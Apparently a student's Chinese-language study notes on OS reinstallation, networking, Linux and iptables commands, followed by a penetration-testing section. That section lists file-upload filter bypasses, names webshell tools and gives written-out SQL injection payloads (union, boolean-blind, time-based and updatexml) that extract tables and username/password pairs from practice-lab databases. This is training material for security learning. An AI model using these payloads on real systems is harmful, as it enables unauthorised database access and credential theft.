一、NAT是什么?
怎样隐藏内部ip?
重装系统的方法:
制作U盘启动 *rufus
驱动
备份资料
软件
查询一下biosU盘启动
装win10 全盘安装 efi+gpt
win7 需要安装驱动
二、网络基础
- 缺省子网掩码=默认网关
- 子网划分步骤:
cmd 命令
设置登录时间 net user name /times:
列出所有连接 netstat -ano
显示网络统计 netstat-t
查找端口 netstat -ano || 80
常用端口:
TCP21端口:FTP文件传输服务
TCP22端口:SSH安全外壳协议
TCP23端口:TELNET终端仿真服务
TCP25端口:SMTP简单邮件传输服务
UDP53端口:DNS域名解析服务
TCP80端口:HTTP超文本传输服务
TCP110端口:POP3“邮局协议版本3”使用的端口
TCP443端口:HTTPS加密的超文本传输服务
TCP1521端口:Oracle数据库服务
TCP1863端口:MSNMessenger的文件传输功能所使用的端口
TCP3389端口:MicrosoftRDP 微软远程桌面使用的端
TCP5631端口:SymantecpcAnywhere 远程控制数据传输时使用的端口
UDP5632端口:SymantecpcAnywhere 主控端扫描被控端时使用的端口
TCP5000端口:MSSQL Server使用的端口
UDP8000端口:腾讯QQ
SQL Server-1433-Oracle-1521
Mysql-3306
DB2-5000-PSql-5432
DHCP的作用:
DHCP 全称Dynamic Host configuration protocol, 动态主机配置协议。 它可以为客户机自动分配IP地址、子网掩码以及缺省网关、DNS服务器的IP地址等TCP/IP参数, 简单来说, 就是在DHCP服务器上有一个数据库, 存放着IP地址、网关、DNS等参数。 当客户端请求使用时, 服务器则负责将相应的参数分配个客户端,避免客户端手动指定IP地址等。特别是在一些大规模的网络中。客户端数目较多,使用DHCP可以方便对这些机器进行管理,为客户机提供TCP/IP参数配置,如IP地址、网关地址和DNS服务器等,不仅效率高,而且不存在IP地址冲突的情况现在的无线路由器默认都带有DHCP功能,也就是说一个无线路由器同时也是一个DHCP服务器。
pwd 显示当前工作目录的绝对路径
../ 上级目录
绝对路径:从根目录开始定位
相对路径:从当前目录开始定位
cd~ 回到家目录
ls-l 查看(以列表形式)
mkdir 创建一个目录
mkdir -p 创建多级目录
rmdir 删除空目录
rm - rf 强制删除
touch 创建一个文件
cp xx <目录> 拷贝文件到指定目录
cp - r <目录> <目录> 拷贝目录到另一个目录
linux防火墙
iptables入门指南:
https://www.cnblogs.com/liang2580/articles/8400140.html
把具有相同功能的规则的集合叫做“表”
iptables 的相关指令:
iptables -- line-number -nvL INPUT 查看iptables的配置
iptables -F INPUT 清空INPUT链的规则
iptables -nvL INPUT 查看
iptables -t fillter -I INPUT -s (源地址)-j DROP 丢弃该地址的包
iptables -t fillter -A INPUT -s (源地址)-j ACCEPT (追加(后面))接受该地址的包
iptables -t fillter -I INPUT -s (源地址)-j ACCEPT (插入(前面))该地址的包
//service iptable restart
iptables -t filter --D INPUT 3 删除3号链
iptables -D INPUT -s (源地址) -j (ACCEPT ) 删除全部动作
iptables -t filter -R INPUT 1 -s (源地址) -j REJECT 更改动作
service iptables save 保存
虚拟机分区命令:
lsblk -f 查看系统分区
lsblk 查看分区
fdisk /dev/sda 进行磁盘分区
mkfs -t ext4 /dev/sdb1 格式化
ls
mkdir newdisk
mount /dev/sdb1 /home/newdisk 挂载(临时)
vim /etc/fstab 永久挂载
磁盘相关命令:
df -lh 查看磁盘情况
du -ach --max-depth =1 /opt 深度为1
ls -l /home | grep "^-" |wc -l 统计文件个数
ls -l /home | grep "^d" |wc -l 统计目录个数
ls -lR /home | grep "^d" |wc -l 统计目录个数(包括子文件)
tree 文件树
数据库:
中间件:
正向代理与VPN?
渗透:
webshell 菜刀 蚁剑 bingxie
1.文件上传漏洞:
1.freebug
2.bp抓包改包
3.改前端规则
4.content-type
5.文件头过滤绕过
6 .htaccess文件欺骗
7.竞争条件文件上传
2.一些课外知识:
ftp与操作系统无关
后门
0day
web shellp<?php phpinfo();?>
expoit
提权
跳板
拖库
黑客网站:tools freehub hackerone 零组漏洞库
大厂:暗泉 长亭公司 证书:ccna h3c
要基本掌握的学习内容:
java php asp html xml mysql windows linux c python
3.sql字符型注入:
首先查看是否是字符型
and 1=2与and1=1不一样就是字符型
然后再查看通配符 在id=1后加 ‘ ') " ")字符型注入
order by X 猜测数据库个数
and 1=2 union select 1,database(),3 – + 查询数据库名
and 1=2 union select 1,concat(table_name),3 from information_schema.tables where table_schema=‘security’ – + 查询表名and 1=2 union select 1,concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ – + 查询列名
and 1=2 union select 1,concat_ws(0x23,id,name,password),3 from security.emails – + 查询表中数据
4.sql注入的基本思路:
1.找注入点,判断是否可以注入
2.判断注入类型 字符或数字 and 1=1 ; and 1=2
3.如果式字符型 判断闭合符‘ “ ’)“)
4.优先使用联合查询注入 ->报错注入->bool型注入 ->时间盲注 ->宽字节
5.判断列数 order by
6.判断显错位数 union select xxxx
7.求库 求表 求字段 求数据
8.找后台
5.菜刀的使用:
6.bool注入:
and (select length((select table_name from information_schema.tables where table_schema=‘iwebsec’ limit 0,1)))>8 查询表长度
and (select length(database()))>8 查询数据库长度
And (select ASCII(substr(database(),1,1)))>98(得到c)查询数据库名字每个的ascii值
获取当前数据库的表:
and ascii(substr((select table_name from information_schema.tables where table_schema=‘iwebsec’ limit 0,1),1,1))<100(得到c) 查询数据库iwebsec中表名每个的ascii值
获取当前数据库的列:
and ascii(substr((select column_name from information_schema.columns where table_name=‘emails’ and table_schema=‘security’ limit 0,1),1,1))<118
获取当前数据库的值:
and ascii(substring((select id from security.emails limit 0,1),1,1))>100
7.sleep注入:
1、and if(ascii(substr(database(),2,1))=101,sleep(5),1)–+ 查询数据名
(3)判断所有的表信息
and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101,sleep(5),1)
(4)判断user表的列信息
and sleep( if(ascii(substr((select column_name from information_schema.columns where table_name=‘user’ and table_schema=‘ctfswiki’ limit 0,1),1,1))<105,0,5 ))
(5)判断列的值 :and sleep( if(ascii(substring((select username from ctfswiki.user limit 0,1),1,1))<69,0,5 ))
8.updatexml注入:
and updatexml(1,concat(0x23,database()),1)
and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=‘iwebsec’)),1) – +
and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=‘iwebsec’ and table_name=‘user’)),1)
and updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from iwebsec.user)),1)
and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=‘iwebsec’ and table_name=‘user’)),1)
and updatexml(1,concat(0x23,(select group_concat(username,0x23,password)from iwebsec.user)),1)